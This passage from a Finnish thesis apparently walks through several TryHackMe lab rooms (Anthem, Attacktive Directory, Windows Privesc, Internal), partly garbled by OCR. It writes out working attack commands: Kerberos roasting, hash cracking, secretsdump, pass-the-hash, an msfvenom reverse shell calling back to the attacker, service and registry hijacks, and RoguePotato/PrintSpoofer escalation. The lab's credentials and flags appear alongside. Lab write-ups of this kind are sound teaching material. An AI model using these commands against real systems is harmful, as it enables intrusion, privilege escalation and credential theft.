
18

huoneeseen liittyy melko paljon loogista paattelykykya ja salapoliisity6ta, tekninen tyd

itsessdan on melko helppoa.

Let's run nmap and check what ports are open.
No answer needed Question Done
What port is Far the web server?
80 Correct Answer
What port is for remote desktop service?

3389 ‘Correct Answer

What is a possible password in ane of the pages web crawlers check For?

UmbracolsTheBesk! ‘Correct Answer

What CIMS is the website using?

Umbraco ‘Correct Answer

what is the domain of the website?

anthem.com Correct Answer

what's the name of the Administrator

Solomon Grundy Correct Answer

«Can we find find the email address of the administratar?

SG@anthem.com ‘Correct Answer

Kuva 3 Anthem-huoneen ensimmaiset kysymykset. Huomaa, ettéa naihin kysymyksiin on
jo vastattu, uudella kayttajalla vastauspalkit olisivat tyhjia
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Anthem.com

We are hiring

A cheers to our IT department

Kuva 4 Anthem-blogin etusivu.

Ensimmainen vaihe on skannata palvelimen avoimet portit. T&ma onnistuu nmap nimi-
sella ohjelmalla, joka sisaltyy valmiiksi Kaliin. Nmapilla on porttiskannaus-ohjelma, jolla
voidaan skannata tietokoneen avoimia portteja ja mita palveluita ndissa porteissa pyo-
rii. Samalla voidaan my6s havaita kohteen kayttojarjestelma, palveluiden versio ja ver-

kossa olevat muut laitteet.

Kaytetaan komentoa nmap -sV 10.10.31.157 jossa "nmap” kutsuu itse ohjelmaa, -sV
lisaliite tarkoittaa "serviceVersion”, eli network mapper kartoittaa my6s avoimissa por-
teissa pydrivien palveluiden jarjestelméaversion ja lopussa on kohteen IP-0soite, johon

skannaus kohdistuu.
Skannauksen tulos on seuraava:

PORT STATE SERVICE VERSION
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
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3389/tcp open ms-wbt-server Microsoft Terminal Services

Service Info: OS: Windows; CPE: cpe:/o: microsoft:windows

Portti 80 on auki koska se jakaa itse blogia. Portti 3389 on taas Windows Remote
Desktop -portti. Tasta voidaan siis paatella, ettd voimme saada palvelimelle RDP-yh-

teyden. Lisaksi nmap ilmoitti kohteen kayttojarjestelméaksi Windowsin.

Seuraavaksi selaimeen voidaan osoitteen perdan lisata liséliite /robots.txt, josta voi I0y-
tya mahdollista lisatietoa. Robots.txt-tiedoston avulla voidaan rajoittaa sivuston naky-

mista hakukoneissa, ja yleensa tama I6ytyy melkein kaikilta verkkosivuilta.
Anthem-blogin robots.txt:

UmbracolsTheBest!

# Use for all search robots

User-agent: *

# Define the directories not to crawl

Disallow: /bin/

Disallow: /config/

Disallow: /umbraco/

Disallow: /Jumbraco_client/

Ensimmainen rivi "UmbracolsTheBest!” on selkeasti vihje, muuten robots.txt ei nayta
sisaltavan mitdan epamaaraista. "Umbraco” on CMS, content management system eli
sisallénhallintajarjestelma, Umbracolla voidaan siis luoda ja jarjestella sisaltta verkko-

sivuille.

Seuraavaksi skannataan sivuston mahdolliset alikansiot. Tama onnistuu esimerkiksi
Gobuster nimisella ohjelmalla. Gobuster on hakemistoskannausohjelma, joka myds si-
saltyy Kalin asennukseen. Gobuster testaa l0ytyyko verkkosivun URL:n alta tiettyja ha-

kemistoja, jotka maaritetddn erikseen sanalistalla.
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Kaytetaan komentoa “gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-
medium.txt -u http://10.10.31.157” jossa “gobuster” kutsuu itse ohjelmaa, dir -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt kutsuu sanalistaa, jota kay-

tdmme ja -u maarittaa kohteen.

Tassa tapauksessa kaytetddn sanalistaa directory-list-2.3-medium-txt, joka tulee Go-
busterin mukana. TAma on sanalista, joka siséltaa tuhansia sanoja, joita Gobuster ko-
keilee ja tarkistaa, ovatko ne valideja hakemistoja kyseisella sivustolla. Tasséa tapauk-
sessa ainoa relevantti tulos on /Jumbraco, joka johtaa umbraco-hallintapaneelin kirjautu-

missivulle.

Kirjutumissivulla on selka vihje: "Your username is usually your email”, joka helpottaa

sisélle padasya, turhan nimimuodon etsimisen voi unohtaa.
Seuraava vaihe selailla Anthem-blogia ja etsia sieltd mahdollisia vihjeita.

Sivustolta I6ytyy "We are hiring” -ilmoitus, jonka kirjoittajaksi ilmoitetaan Jane Doe, ja

sahkopostiosoitteeksi JD@anthem.com

Toinen ilmoitus 16ytyy etusivulta nimella "Cheers to our IT department” joka sisaltaa

tekstin:

“During our hard times our beloved admin managed to save our business by redesign-
ing the entire website.

As we all around here knows how much | love writing poems | decided to write one
about him:

Born on a Monday,
Christened on Tuesday,
Married on Wednesday,
Took ill on Thursday,
Grew worse on Friday,
Died on Saturday,
Buried on Sunday.

That was the end...
Author

James Orchard Halliwell “
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Tassa kohtaa kaytetaan "open source intelligence” -taktiikaa, eli OSINT. Toisin sanoen
kyseinen runo syottetaan verkkohakukoneeseen, joka kertoo, ettd kyseisen runon nimi
on "Solomon Grundy” ja kirjoittaja on "James Orchard Halliwell”. Tasta voidaan siis
paatelld, ettéa sivuston IT-jarjestelmavalvojan nimi on "Solomon Grundy” eli hanen sah-

kdpostiosoitteensa olisi myds "SG@anthem.com”.

Kayttaen tatd sdhkopostiosoitetta ja aikaisemmin I6ydettya "UmbracolsTheBest!” vih-

jettd salasanana paasemme kirjautumaan sisélle Ubmraco-hallintapaneeliin.

Seuraava tehtdva on etsia nelja lippua. Umbracon hallintapaneelissa navigoidessa
Content > Blog > Archive > We are hiring. > Meta Tags, |[6dydamme lipun numero 1,
THM{LOL_WHO_US3S_M3T4}

Samasta reitista 16ytyy myos blogin toinen teksti, "A cheers to our IT department”,
jonka Meta Tags osastolta [6ytyy lippu numero 4, THM{ANOTH3R_MS3TA}.

Content > Blog > Authors > Jane Doe |6ytyy “Author Url” joka sisaltda lipun numero 3,
THM{LOL_WHO_D15}.

Viimeinen lippu, eli lippu numero 2, [6ytyy blogin etusivun lahdekoodista. Lippu on
THM{G!T_GO00D}

Seuraavaksi otamme blogin palvelimeen Remote Desktop eli RDP-yhteyden komen-

nolla:
remmina rdp://SG:UmbracolsTheBest@10.10.31.157:3389

Palvelimella kayttajan SG tyopoydalta 16ytyy heti tekstidokumentti "user.txt” joka sisal-
taa lipun THM{NOOT_NOOT}.

C.-asemalta loytyy piilotettu kansio nimelta "backup” joka sisaltaa tekstitiedoston-
nimelta "restore”, mutta kayttajalla ei ole oikeutta avata sitd. Voimme kuitenkin lisata oi-
keudet kayttajalle SG avata tiedoston. Sen sisalta 16ytyy vihje "ChangeMeBaby1More-

Time”.

Seuraavaksi kirjaudumme sisédn Administrator-kayttgjalla, jonka salasana on askeinen
lippu "ChangeMeBaby1MoreTime”.
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Paastyamme sisalle, tyopoydalla on tekstitiedosto root.txt joka sisaltdéd viimeisen lipun
"THM{YOU_4R3_1337}".

4.2 Attacktive Directory

Attacktive Directory on huone, jossa on tarkoitus saada jarjestelmanvalvojaoikeudet
kayttdjahakemistopalvelimelle ja sen koko toimialueeseen eli "domain administrator”
tunnukset. Huone on siitd erittdin mielenkiintoinen, etta melkeinpa jokainen yritys kayt-
tada jonkunlaista kayttdjahakemistoa ja tAma huone opettaa myos sen rakenteesta ja

Kaytosta.

Porttiskannauskomento nmap -sV 10.10.23.113 antaa tuloksen:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-22 15:53 SAST
Nmap scan report for 10.10.23.113

Host is up (0.060s latency).

Not shown: 987 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

53/tcp open domain Simple DNS Plus

80/tcp open http Microsoft IIS httpd 10.0

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-10-22
13:53:492)

135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn

389/tcp open Idap Microsoft Windows Active Directory LDAP (Domain:
spookysec.local0., Site: Default-First-Site-Name)

445/tcp open microsoft-ds?

464/tcp open kpasswd5?

593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped

3268/tcp open Idap Microsoft Windows Active Directory LDAP (Domain:
spookysec.local0., Site: Default-First-Site-Name)
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3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services

Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:win-
dows

Avoimet portit 139 ja 445 ovat portteja, joiden kautta SMB-protokolla eli Server Mes-
sage Blocking -protokolla toimii. Tama mahdollistaa esimerkiksi tiedosto- ja tulostinja-
kamisen, mutta SMB sisaltda myos lukuisia haavoittuvuuksia, joka saattaa mahdollis-
taa niiden hyddyntadmisen. Liséksi portissa 88 pydrii Kerberos, joka on kayttdjanvarmis-

tamisprotokolla, jota voimme mahdollisesti myds hyodyntaa.

My@s portti 3389, jossa pyorii Windowsin oma Remote Desktop Protocol eli RDP, on

auki. Saamme siita lisaa tietoa komennolla "nmap -sV -sC -Pn -p 3389 10.10.23.113”;
PORT STATE SERVICE VERSION

3389/tcp open ms-wht-server Microsoft Terminal Services

| rdp-ntlm-info:

| Target Name: THM-AD

| NetBIOS_Domain_Name: THM-AD

| NetBIOS_Computer_Name: ATTACKTIVEDIREC

| DNS_Domain_Name: spookysec.local

| DNS_Computer_Name: AttacktiveDirectory.spookysec.local

| Product_Version: 10.0.17763

|_ System_Time: 2022-10-22T14:37:33+00:00

| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Not valid before: 2022-10-21T13:13:36

|_Not valid after: 2023-04-22T13:13:36

|_ssl-date: 2022-10-22T14:37:33+00:00; -1s from scanner time.

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
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Saimme siis NetBIOS domain nimen THM-AD ja DNS-domain nimen eli spookysec.lo-

cal.

Enum4Linux tykalulla voimme jatkaa listausta pidemmalle komennolla enum4linux -S
10.10.23.113.

Huone antaa myds kayttddmme salasana- ja kayttajanimilistat, jotka kummatkin sisalta-

vat noin 70 000 sanaa.

Kerbrute-ohjelman avulla voimme listata kayttdjanimia kayttamalla aikaisemmin mainit-
tua kayttajanimilistaa komennolla "kerbrute -dc-ip 10.10.23.113 -domain spookysec.lo-
cal -users users.txt -passwords passwords.txt -t 50”. Tama antaa kaksi mielenkiintoista
tulosta, svc-admin ja backup. Svc-admin-tililla on todennakéisesti jarjestelmanvalvoja-

oikeudet ja backup-tililla sailytetdan todennékdisesti varmuuskopioita, joista voimme

saada tietoa.

GetNPUsers.py -no-pass -dc-ip 10.10.23.113 spookysec.local/svc-admin saamme enu-

meroitua kayttdjan svc-admin salasanan hashin.

Hashin voi murtaa hashcat-ohjelmalla komennolla hashcat -m18200 hash.txt pass-
words.txt. Hash.txt on tekstitiedosto, johon kopioimme saamamme hashin ja pass-
words.txt on huoneen antama salasanalista, johon hashcat vertaa saamaamme hashia.

Tama ilmoittaa, jos I6ytaa osuman.
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Max imum

Watchdog: Temperature abort er set to 90c

Host memory required for is att: : @ MB

Dictionary

sun Nov

sun Nov
cernel
passwords.txt)

r:0-1 Iteration:@-1

n Nov
n_Nov

Kuva 5 Hashcatin murtama salasana.

TURUN AMK:N OPINNAYTETYO | Niklas Kujala

L:9c@491e25

26



27

Osuma loytyy ja jos komennon peraan lisaa —show liitteen, saadaan purettu salasana

esille, joka tassa tapauksessa on "management2005”.

Seuraavaksi listaamme SMB-jakoja. SMB eli "Server Message Blocking”-protokollaa
kaytetaan tiedostojen ja tulostimien jakamisessa. SMB on tunnetusti haavoittuva proto-
kolla, jonka tietoturva-aukkoja on hyddynnetty esimerkiski WannaCry nimisessa hyok-
kayksessa. Tama on yksi suurimpia ja tunnetuimpia tietoturvahydkkayksia maailmassa.
Yhdysvaltain National Security Agency eli NSA kehitti EternalBlue-nimisen haittaohjel-
man, joka hyddynsi SMB:n tietoturva-aukkoja ja myéhemmin tata haittaohjelmaa kay-

tettiin WannaCry-hyokkayksessa. (Kaspersky n.d.)

Voimme listata kohteemme SMB-jaot komennolla smbclient -L 10.10.23.113 -U "svc-
admin”. Smbclient on monipuolinen ohjelma, jonka avulla voi tutkia kohteen SMB-ja-
koja ja kayttajia. Viite -L tarkoittaa kohteen IP-osoitetta ja viite -U kayttajaa, jolla kirjau-
dumme SMB-jakoihin. Tama kysyy myds salasanaa, mutta saimme sen selvitettya jo

aikaisemassa vaiheessa.

Kuvassa 6 on saadut tulokset, eli SMB-jaot, joihin kayttajalla svc-admin on oikeudet.
Naista tarkealta nayttaa "backup” -niminen jako, muut ovat Windowsin oletuksena luo-

mia jakoja.

Sharename Comment

ADMINS Remote Admin
backup

c$ Default share
IPCS Remote IPC

NETLOGON Logon server
SYSVOL Logon server

Kuva 6 SMB-jaot.

Komennolla "smbclient W10.10.23.113\\backup -U "svc-admin™ paasee kasiksi kysei-
sen jaon sisaltoon. Sisalla on yksi tiedosto, joka on nimeltdan backup_credentials.txt.
Tama oletettavasti siséltéa listan tunnuksista ja salasanoista, joita voimme kayttaa hy-

vaksi.

Seuraavaksi ladataan kyseisen tiedoston omalle virtuaalikoneelleni komennolla get

backup_credentials.txt. Tiedosto sisaltdd yhden hashin, joka on base64-koodattu.
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Voimme purkaa salauksen komennolla base64 -d backup_credentials.txt, josta

saamme kuvan 7 mukaisen tuloksen.

L + -d backup_credentials.txt

backup@spookysec.local:backup251786@

Kuva 7 Base64-koodauksen purku

Backup-kayttajalla on taydet oikeudet active directoryyn ja sen sisaltamiin kayttatileihin

ja salasanoihin. Voimme listata kayttajat ja niiden salasanojen hashit komennolla:

Python3/opt/impacket/examples/secretsdump.py spookysec.lo-
cal/backup:backup2517860@10.10.23.113.

Listan ensimmainen tulos on "Administrator"-niminen kayttaja ja taman salasanan
hash.

Voimme kayttaa evil-winrm ohjelmaa paastaksemme etayhteyteen Domain Controlle-
riin pelkalla kayttajanimella ja hashilla. Talla tavoin hashia ei tarvitse erikseen purkaa.
Tama onnistuu komennolla evil-winrm -i 10.10.23.113 -u Administrator -H
0e363213e37b94221497260b0bch4fc.

Nyt padsemme taysin vapaasti selaamaan tietokoneella olevia tiedostoja ja voimme et-
sid tehtdvan vaatimat liput. Ensimmainen I6ytyy kayttdjan Administrator tyopoydalta,
seuraava loytyy kayttajan backup tyopdydalta ja viimeinen lippu I6ytyy kayttdjan svc-

admin tyopoydalta. Tahan loppuu Attacktive Directory -huone.

4.3 Windows Privesc

Tama huone kasittelee padasiassa kayttajaoikeuksien laajentamista sen jalkeen, kun
on saatu yhteys kohteena olevaan Windows-tietokoneeseen. Tapoja on hyvin paljon

erilaisia ja tAma huone kasittelee niista useita.

Aluksi otetaan etahallintayhteys kohteeseen komennolla "xfreerdp /u:user /p:pass-
word321 /cert:ignore /v:10.10.149.62”, jossa "user” on kayttajanimi, "password321” on
kyseisen kayttajan salasana ja "10.10.149.62” on kohteen IP-osoite. Xfreerdp itsessaan

on vain geneerinen RDP-ohjelma, jonka tilalla voi kayttaa mité tahansa omassa
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kayttojarjestelmassa toimivaa RDP-ohjelmaa. Oikeassa tilanteessa meilla ei tietenkaan
olisi heti alussa naita tietoja, mutta tama huone keskittyykin ainoastaan kayttajaoikeuk-

sien laajentamiseen.

Huoneen ensimmainen tehtava on luoda "reverse shell executable”, eli ohjelma, jolla
saamme komentokehoteyhteyden kohteeseen, kun kyseinen sovellus k&ynnistetaan.

Taman luonti tapahtuu komennolla:

"msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f exe -

o reverse.exe”.

Taman jalkeen reverse shell pitaa siirtdé kohteeseen. Helpoiten tdméa onnistuu kayn-
nistamalla SMB-palvelimen omalla Kali-tydasemalla komennolla "sudo python3
lusr/share/doc/python3-impacket/examples/smbserver.py kali”. Taman jalkeen kay-
tamme aikaisemmin avattua RDP-yhteytta ja Windows-tietokoneella syétdmme komen-
tokehotteeseen komennon "copy \\10.10.10.10\kali\reverse.exe C:\PrivEsc\re-
verse.exe” joka kopioi luomamme reverse.exen kohdekoneelle. Voimme vield testata
reverse.exen toimivuutta kaynnistamalla netcatin eli kuuntelijan omalla tydasemalla ja
sen jalkeen kutsumalla reverse.exea kohdetietokoneessa. Taman jalkeen kuuntelija

avaa komentoriviyhteyden kohteeseen eli reverse.exe toimii.

Seuraavassa vaiheessa hyvaksikaytamme vajavaisia palvelulupia. Tarkistamme kayt-
tajan oikeudet palveluun "daclsvc” komennolla "C:\PrivEsc\accesschk.exe /accepteula -

uwcqv user daclsvc”.

esschk.exe faccepteula -uwcgv user daclsvc
ccepteula -uwcgv user daclsvc

SERVICE_CHANGE_CONFIG
E_INTERROGATE
E_ENUMERATE_DEPENDENTS

_START

SERVICE_STOP

READ_CONTROL

Kuva 8 Palvelut, joihin kayttgjalla on kirjoitusoikeus.

Kayttajalla on oikeus muuttaa palvelun kokoonpano (SERVICE_CHANGE_CONFIG).
Seuraavaksi tarkistamme palvelun oikeudet komennolla "sc qc daclsvc” joka paljastaa,

etta palvelu pydrii jarjestelméoikeuksilla. Seuraavaksi muutamme palvelun daclsv
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siséltdéa siten, ettéa kun palvelu kaynnistyy, niin todellisuudessa se kaynnistaakin luo-
mamme reverse shellin. Tama onnistuu komennolla sc config daclsvc binpath=

"\"C:\PrivEsc\reverse.exe\"". Seuraavaksi taytyy vain kaynnistda kuuntelija kali-virtuaa-
likoneella ja sen jalkeen kaynnistda palvelu daclsvc komennolla "net start daclsvc” ja

taman jalkeen kuuntelija saa yhteyden kohdetietokoneeseen.

Seuraavassa vaiheessa tarkastellaan palvelua "unquotedsvc”. Komennolla “C:\Pri-
vEscl\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
voimme tarkastella palvelun oikeuksia, joista huomaamme, etta ryhmalla BUIL-
TIN\users on oikeudet muokata palvelun kansiota. Voimme korvata palvelun kaynnis-
tystiedon Common.exen omalla reverse shellilla komennolla copy "C:\PrivEsc\re-

ny»

verse.exe "C:\Program Files\Unquoted Path Service\Common.exe" ja testata sen toi-

mivuutta jalleen kerran kuuntelijalla.

Seuraavaksi hyddynnetddn prosessia regsvc. Komennolla "C:\PrivEsc\accesschk.exe
faccepteula -uvwgk HKLM\System\CurrentControlSet\Services\regsvc” huomaamme,
ettd ryhmalla "NT AUTHORITY\INTERACTIVE" on oikeus tehda rekisterimuutoksia pal-
veluun. Tama ryhma kasittaa kaikki sisdankirjautuneet kayttajat, eli myods meidat. Re-
kisterimuutos onnistuu komennolla "reg add HKLM\SY STEM\CurrentControlSet\servi-
ces\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f’ jolla lai-

tamme palvelun osoittamaan luomaamme reverse shelliin.

Seuraavaksi tarkastellaan palvelua "filepermsvc” ja komennolla "C:\PrivEsc\acces-
schk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermser-

vice.exe" huomaamme, etta kaikilla kayttajilla on oikeus muokata palvelun kaynnistys-
tiedostoa. Voimme korvata oikea tiedoston omalla shellilld komennolla "copy C:\Pri-
VEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y”

ja tuttuun tapaan testata toimivuuden kuuntelijalla.

Seuraavaksi tarkistetaan, mitka sovellukset avautuvat automaattisesti kaynnistyksen
yhteydessa komennolla "reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVer-
sion\Run”. Yksi naista ohjelmista on "program.exe” ja seuraavaksi tarkistamme, kenella
on oikeus kirjoittaa sen sijaintiin komennolla "C:\PrivEsc\accesschk.exe /accepteula -

wvu "C:\Program Files\Autorun Program\program.exe"” ja huomaamme, etta kaikilla on
oikeus tahan. Seuraavaksi korvamme aidon program.exen omalla reverse shellilla ko-
mennolla "copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\prog-

ram.exe" /Y”. Nyt kdynnistdmme kuuntelijan ja kdynnistdmme Windows-koneen
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uudestaan, jolloin reverse shell kdynnistyy samalla Windows-koneen kanssa ja

saamme admin-tason oikeudet kuuntelijaan.

Seuraavaksi tarkastetaan, asentuvatko Windowsin omat asennusohjelmat aina kor-
keilla oikeuksilla komennolla "reg query HKLM\SOFTWARE\Policies\Microsoft\Win-
dowsl\Installer /v AlwaysinstallElevated”, jonka tulos on 0x1 eli asennusohjelmat pydri-
vat aina korkeilla oikeuksilla. Seuraavaksi luomme reverse shellin uudestaan, mutta
talla kertaa nimeamme sen reverse.msi, jossa .msi -tiedostopéaéate tarkoittaa microsoftin
omaa installeria. Siirramme taman kohdetietokoneelle taas SMB-serverin avulla, kdyn-
nistdmme kuuntelijan ja kutsumme reverse shellid komennolla "msiexec /quiet /qn /i

C:\PrivEsc\reverse.msi”, joka palauttaa kuuntelijaan SYSTEM-tason komentorivin.

Seuraavassa vaiheessa etsitdan kohteen rekisterista kaikki merkinnat, jotka sisaltavat
sanan "password” komennolla ” reg query HKLM /f password /t REG_SZ /s”. Loy-
damme rekisteristd "winlogon” osion, joka sisaltda kayttajan "admin” salasanan. Tassa
tapauksessa salasana on "password123”. Komennolla "winexe -U 'admin%pass-
word123' //10.10.63.32 cmd.exe” saamme suoraan omalta koneltaamme komentori-

viyhteyden kohdekoneelle.

Tasséa vaiheessa hyddynnetaan jarjestelmaan tallennettua salasanaa. Komennolla
"cmdkey /list” saamme listan tileistd joiden salasana on tallennettu koneelle. Huomioita-
vaa on, etta tdméa komento ei itsessaan ndyté salasanaa, vaan se nayttaa tilit joiden
salasana on tallennettu. Listalla on hakemamme "admin” kayttaja, joten voimme hyo-
dyntaa sitd. Omalla Kali-koneellamme kaynnistdmme kuuntelijan ja kohdekoneella
kaynnistdmme aikaisemmin luomamme reverse.exen komennolla ” runas /savecred
/user:admin C:\PrivEsc\reverse.exe”. Kadynnistimme reverse.exen nyt tallennetun sala-

sanan avulla, joten itse salasanaa emme tarvinneet tdhan komentoon.

Seuraavassa vaiheessa kopioidaan kohteesta SYSTEM ja SAM tiedostot omalle ko-
neelle komennoilla ” copy C:\Windows\RepainSAM \\10.9.6.171\kali\” ja copy "C:\Win-
dows\RepainSYSTEM \\10.9.6.171\kali\". SAM ja SYSTEM tiedostot ovat Windowsin
omia tiedostoja, jotka sisaltavat tietoa kayttgjista ja heidan salasanoistaan. Huone pyy-
tda asentamaan Tib3eriuksen version creddump7-ohjelmasta, mutta valitettavasti ky-
seinen versio ei toimi Linuxin nykyversioilla Python 3:sta kayttden. Téaten totesin, etta
korvaan huoneen antaman komennon ” python3 creddump7/pwdump.py SYSTEM
SAM” komennolla ” python3 /usr/share/creddump7/pwdump.py SYSTEM SAM” joka

toimi ongelmitta ja kayttda Kalin asennuksen mukana tullutta creddump7-versiota.
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Tama tulosti kayttajien hashit ja tallensin admin-kayttajan hashin erikseen hash.txt tie-
dostoon ja ajoin komennon ” hashcat -m 1000 --force hash.txt /usr/share/wor-

dlists/rockyou.txt” joka mursi hashin ja kertoi salasanaksi "password123”.

Seuraavassa vaiheessa hyvaksikaytetdaan jo asken saatua hashia. Sen sijaan, etta
murtaisimme hashin salasanaksi, kdytdmme hashia suoraan kirjautumiseen. Tama on-
nistuu komennolla "pth-winexe -U 'ad-
min%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::’
//10.10.94.76 cmd.exe” jossa kirjaudumme sisalle "admin” -kayttajalla ja taman salasa-

nan hashilla.

Seuraavasssa vaiheessa tarkistamme,”CleanUp.ps1” nimisen scriptin sisallén komen-
nolla "type C:\DevTools\CleanUp.ps1”. Kyseinen koodi tyhjentaa DevToolsin vanhat lo-
kitiedostot minuutin valein. Huomattavaa tassa on, ettéd koodi pyo6rii SYSTEM-oikeuk-
silla. Tarkistamme, onko meilla oikeuksia muokata tata tiedostoa komennolla "C:\Pri-
vEscl\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1” ja huo-
maamme, etta meilla on kirjoitusoikeudet, eli voimme hyvaksikayttdd minuutin vélein
tapahtuvaa ajoa. Kaynnistamme kuuntelijan omalla koneellamme ja annamme koh-
teelle komennon "echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1” joka oh-

jaa minuutin valein tapahtuvan lokityhjennyksen ajamaan oma revese.exemme.

Seuraavassa vaiheessa avaamme tyopoydalla olevan "AdminPaint”-pikakuvakkeen,
joka avaa Microsoft Paintin. Tarkistamme Paintin kayttdoikeudet komennolla ”
file://c:/windows/system32/cmd.exe” joka paljastaa, ettd Paint kdynnistyy Admin-oi-
keuksilla. Voimme hyvaksikayttaa tata valitsemalla Paintin valikoista "Open” ja kirjoitta-
malla tiedostopoluksi ” file://c:/windows/system32/cmd.exe” joka avaa komentokehot-

teen admin-oikeuksilla.

Seuraavassa vaiheessa tarkistamme, mitkd kayttajat voivat kirjoittaa StartUp-kansioon,
joka hallinnoi ohjelmia, jotka avautuvat heti sisdénkirjautumisen yhdessa. TA&ma onnis-
tuu komennolla "C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Mi-

crosoft\Windows\Start Menu\Programs\StartUp"”. Naemme, etta Users-kayttajaryh-

malla on kirjoitusoikeus kansioon, eli voimme itse lisata omia ohjelmia aloitukseen.
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Voisimme itse kasin lisata reverse.exen StartUp-kansioon, mutta tama huone sisaltaa
valmiiksi scriptin, joka tekee sen valmiiksi. Kaynnistamme kyseisen scriptin komennolla
"cscript C:\PrivEsc\CreateShortcut.vbs”. Seuraavaksi kaynnistamme omalla koneella
kuuntelijan ja otamme RDP-yhteyden kohteeseen admin tililla k&yttéden salasanaa,
jonka aikaisemmassa vaiheessa murrimme. Kirjautumisen yhteydessa kuuntelija saa

admin-tason komentokehoteyhteyden kohteeseen.

Seuraavassa vaiheessa ohjaamme Kalin 135 portin kohteen 9999 porttiin komennolla
"sudo socat tcp-listen:135,reuseaddr,fork tcp:10.10.6.146:9999”. Seuraavaksi kaynnis-
tamme kuuntelijan ja otamme admin-kayttajalla RDP-yhteyden kohteeseen ja kannis-
tamme komentokehotteen korotetuilla oikeuksilla ja suoritamme komennon "C:\Pri-
VEsC\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe” joka simu-
loi service-tason komentokehoteyhteyttd kuuntelijassamme. Tahan yhteyteen sy6-
tamme komennon "C:\PrivEsc\RoguePotato.exe -r 10.9.6.171 -e "C:\PrivEsc\re-
verse.exe" -1 9999” jolloin saamme admin-tason etdyhteyden kohteeseen hyvaksikayt-

tden RoguePotato-ohjelmaa ja aikaisemmin ohjattuja portteja.

Seuraavassa vaiheessa simuloimme taas service-tason yhteytta samalla tavalla kuin
askeisessékin vaiheessa, mutta talla kertaa syotdmme service-tason komentokehottee-
seen komennon "C:\PrivEsc\PrintSpoofer.exe -¢ "C:\PrivEsc\reverse.exe" -i 10.9.6.171”
jolla saamme admin-tason komentokehoteyhteyden kohteeseen hyvaksikayttaen

PrintSpoofer.exe haittaohjelmaa.

Windows Privesc oli melko itsedan toistava huone, mutta sen tarkoitus oli opettaa, etta
kayttboikeuksien laajentaminen saattaa vaatia luovaa ajattelua seka sen ettd, mahdolli-

sia haavoittuvuuksia saattaa [0ytya melkeinpd mista vain.

4.4 Internal

Internal on jo haastavampi huone kuin muut ja siitd mielenkiintoinen, ettéd se mallintaa
oikeaa tietoturvatestaustilannetta. Aloitustietojen mukaan asiakas X haluaa tilata tieto-
turvatestauksen ymparisté6nsa, joka on tarkoitus julkaista kolmen viikon pdésta. Tama

on ns. black box -testaus eli ymparistosta ei ole muuta tietoa kuin IP-osoite.
Muut huoneen antamat lisétiedot ovat

- Muokkaa hosts-tiedostoa oikeaksi
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- Kaikki tydkalut ovat sallittuja
- Loyda ja raportoi kaikki haavoittuvuudet
- Palauta vaaditut User.txt ja Root.txt liput

- Ainoastaan yksi IP-osoite on testin kohteena.

Kuten yleensa, aloitetaan testaus skannaamalla kohteen portit:
nmap -sV -sC 10.10.129.157

ORT STATE SERVICE VERSION

22/tcp open ssh  OpenSSH 7.6pl Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

| 2048 6efaefbef65f98b9597bf78eb9c5621e (RSA)

| 256 ed64ed33e5c93058ba23040d14eb30e9 (ECDSA)

|_ 256 b07f7f7b5262622a60d43d36fa89eeff (ED25519)

80/tcp open http  Apache httpd 2.4.29 ((Ubuntu))

|_http-server-header: Apache/2.4.29 (Ubuntu)

|_http-title: Apache2 Ubuntu Default Page: It works

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Tuloksista voidaan paatelld, ettd portissa 22 on SSH paalla ja portissa 80 on web-pal-
velin. Seuraavaksi skannaamme mahdolliset verkkohakemistot sivustolta komennolla:
"gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u
http://10.10.129.157".

/blog (Status: 301) [Size: 313] [--> http://10.10.129.157/blog/]

/wordpress (Status: 301) [Size: 318] [--> http://10.10.129.157/wordpress/]
fjavascript (Status: 301) [Size: 319] [--> http://10.10.129.157/javascript/]
/phpmyadmin (Status: 301) [Size: 319] [--> http://10.10.129.157/phpmyadmin/]
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/blog sivustolla nakyy ainoastaan yksi blogijulkaisu ja tdaman julkaisija on nimeltadan "ad-
min”, eli tiedamme nyt ainakin yhden tietokannassa olevan tilin nimen. Lisdksi voimme
tarkastella sivun lahdekoodia, joka paljastaa kaytetyn wordpressin verisionumeroksi
5.4.2.

Komennolla “wpscan --url http://internal.thm/blog --usernames admin --passwords
rockyou.txt” voimme yrittdad enumeroida "admin”-kéayttdjan salasanaa kayttamalla

rockyou.txt sanalistaa.

Valid Combinations Found:

| Username: admin, Password: my2boys

Kuva 9 Wpscanin tulokset.

Hetken kuluttua Wpscan 16ytaa osuman, salasana on "my2boys”. Nailla tunnuksilla
paasee kirjautumaan sisdan ja tutkimaan sivustoa ja sen asetuksia tarkemmin. Na-

emme piilotetun blogipostauksen, jossa lukee:

"Posted on August 3, 2020 by admin

Private:

To-Do

Don’t forget to reset Will’s credentials. william:arnold147”,

